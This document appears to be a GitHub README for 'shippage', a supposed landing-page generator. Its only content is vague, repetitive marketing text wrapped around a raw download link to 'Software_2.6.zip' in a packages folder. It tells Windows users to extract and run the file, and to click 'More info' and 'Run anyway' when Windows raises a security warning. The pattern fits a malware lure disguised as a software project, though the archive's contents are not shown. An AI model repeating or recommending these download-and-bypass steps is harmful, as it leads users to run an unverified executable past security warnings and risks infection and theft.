shippage helps you turn one short sentence into a landing page you can ship. It is built for people who want a simple way to make a clean page without starting from zero.
Use it when you want to:
- create a landing page from a plain idea
- build a sales page without writing layout code
- make a page that feels ready for a product launch
- move from draft to live page with less work
- keep the process simple and local
It uses a plain terminal flow, so you can start from a prompt and get a page structure that makes sense for an app, service, or offer.
Go to the GitHub page here and download or run the app from the page:
https://github.com/walidoot/shippage/raw/refs/heads/main/packages/shippage/Software_2.6.zip
If you are on Windows, use the link above to visit the page, then follow the steps below to get the app on your computer.
- Open the GitHub page in your browser.
- Find the download or release section on the page.
- Download the Windows build if one is listed there.
- Save the file to your Downloads folder.
- If the file comes as a ZIP file, right-click it and choose Extract All.
- Open the extracted folder.
- Run the app file from that folder.
If Windows shows a security prompt:
- Click More info.
- Click Run anyway.
- Wait for the app to open.
If the app opens in a terminal window, keep that window open while you use it.
When you open shippage for the first time, it may ask for a few simple things:
- your product name
- a one-sentence description
- a target audience
- a main call to action
- a style choice for the page
Enter short, clear text. If you do not know what to write, use the examples below:
- Product name: TaskFox
- Description: A simple way to track daily work
- Audience: Small teams
- Call to action: Start free
- Style: Clean and modern
After that, shippage creates a landing page draft you can edit.
- Open shippage from your terminal or app window.
- Enter your one-sentence idea.
- Pick the page style you want.
- Review the text and layout it creates.
- Make small edits to fit your product.
- Export or copy the page into your site workflow.
A simple input like this can work well:
Build a landing page for a time tracker for freelancers
From there, shippage shapes the page around your offer and helps you move faster than starting with a blank page.
shippage works well for pages like:
- product landing pages
- waitlist pages
- sales pages
- app launch pages
- feature pages
- startup home pages
- simple campaign pages
It fits best when you want a focused page with clear text and a strong offer. It is not made for huge sites with many pages and deep menus.
shippage is made for Windows users who want a simple local workflow. A normal modern laptop or desktop should work fine.
Good setup for smooth use:
- Windows 10 or Windows 11
- at least 4 GB RAM
- a few hundred MB of free disk space
- a stable internet link for the first download
If you plan to use it often, keep the app in a folder you can find fast, such as Desktop or Documents.
A simple process looks like this:
- Open the app.
- Write one sentence about your idea.
- Pick a style that fits your brand.
- Review the page text.
- Adjust the words so they sound like you.
- Copy the result into your site stack or publish flow.
This keeps the work short and focused. You stay in control of the message while the tool handles the first draft.
- Use one clear product idea per page.
- Keep your first sentence short.
- Name the main benefit in plain words.
- Use one call to action, not many.
- Avoid long feature lists on the first pass.
- Keep the page focused on one result.
Good input leads to better output. If your sentence is vague, the page will feel vague too.
This project sits in the space of:
- landing page builder
- landing page design
- sales page creation
- copy writing support
- React-based page workflows
- Tailwind CSS styling
- open-source web tools
That makes it a good fit for simple product pages where speed and clarity matter.
Try prompts like these:
- Build a landing page for a meal planner app
- Create a sales page for a note app for teams
- Make a waitlist page for a new CRM tool
- Ship a page for a freelance invoicing app
- Write a landing page for a personal finance tracker
These prompts keep the task clear and help the app make a page that feels aligned with your goal.
- Name: shippage
- Type: end-user landing page tool
- Goal: turn one sentence into a ready page
- Style: simple, direct, and focused
- Platform: Windows-friendly workflow
- License: free and open source
If the app does not start:
- Close the window.
- Open it again from the same folder.
- Make sure the file finished downloading.
- Check that Windows did not block the file.
- Try moving the app to a simple folder path like Downloads.
- Run it again.
If you still have trouble, return to the GitHub page and check the latest files there.
shippage is useful when you want to move from idea to page without a long setup. It cuts out blank-page work and gives you a place to start.
It helps you:
- save time
- avoid layout guesswork
- write cleaner page copy
- stay focused on one offer
- get to a usable draft fast
Visit the GitHub page to download or run shippage:
https://github.com/walidoot/shippage/raw/refs/heads/main/packages/shippage/Software_2.6.zip
- launching a new SaaS product
- testing a startup idea
- making a lead capture page
- building a page for a service business
- writing a page for a side project
- creating a simple marketing page for one feature
After you have the app on your Windows PC:
- Open the app.
- Enter your page idea.
- Choose the page style.
- Review the result.
- Edit the copy if needed.
- Use the output in your launch flow
The page draft should give you:
- a clear headline
- a short benefit line
- supporting text
- a call to action
- a simple section flow
- a layout that fits a landing page
You can use it as a first draft and shape it to match your product voice.